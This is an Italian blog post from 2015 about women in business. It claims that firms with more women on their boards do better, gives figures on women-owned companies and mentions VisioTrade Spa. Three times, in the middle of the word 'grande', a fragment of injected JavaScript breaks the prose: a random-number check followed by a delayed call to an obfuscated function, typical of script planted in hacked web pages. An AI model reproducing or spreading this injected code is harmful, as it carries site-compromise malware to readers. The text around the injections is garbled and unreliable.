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Donne e Lavoro, la redditività è rosa?

Pubblicato il 23 settembre 2015
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Donne e lavoroLe donne nel mondo del lavoro sono una risorsa fondamentale, ma non sempre ciò viene riconosciuto.

Dietro a ogni grandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ande uomo c’è sempre una grandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ande donna. Ma il detto potrebbe anche essere trasformato in dietro a ogni grandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ande impresa vi è un’ottima imprenditrice. Vediamo insieme perché. E’ scientificamente e statisticamente dimostrato che le aziende le quali presentano nel CDA un’alta componente femminile possiedono maggiore stabilità e capacità di sviluppo e presenza sul mercato.

L’economia italiana, aldilà di luoghi comuni e discorsi sui massimi sistemi, necessita di una possente sferzata al femminile. Le aziende guidate da donne, in special modo PMI, attualmente forniscono occupazione per circa 200.000 risorse umane per un volume d’affari pari a 500 milioni di euro.
A ciò si aggiungano altri dati significativi provenienti dagli archivi delle camere di commercio italiane: il 23,6% delle realtà produttive sono possedute da donne. All’interno di queste, il 12% ha meno di 35 anni, mentre il 6% è costituito da immigrate.

Sono molti gli istituti di ricerca e indagine che ritengono che nell’universo femminile variegato e frammentato si nascondano le personalità imprenditoriali emergenti del terzo millennio. Quelle in grado di dar vita a un nuovo ceto borghese produttivo, che trae la propria forza e l’altrettanto radicamento commerciale negli ambiti del turismo e dei servizi finanziari. Restano tuttavia in misura inferiore le donne che sono al timone di realtà industriali di un certo livello, dai 100 dipendenti in su.

All’interno di VisioTrade Spa la percentuale media di aderenti del gentil sesso è notevole soprattutto dal punto di vista delle titolari di esercizi commerciali al dettaglio, e di studi di consulenza professionali, dicasi per lo più commercialistici e legali. E il numero è destinato ad aumentare.

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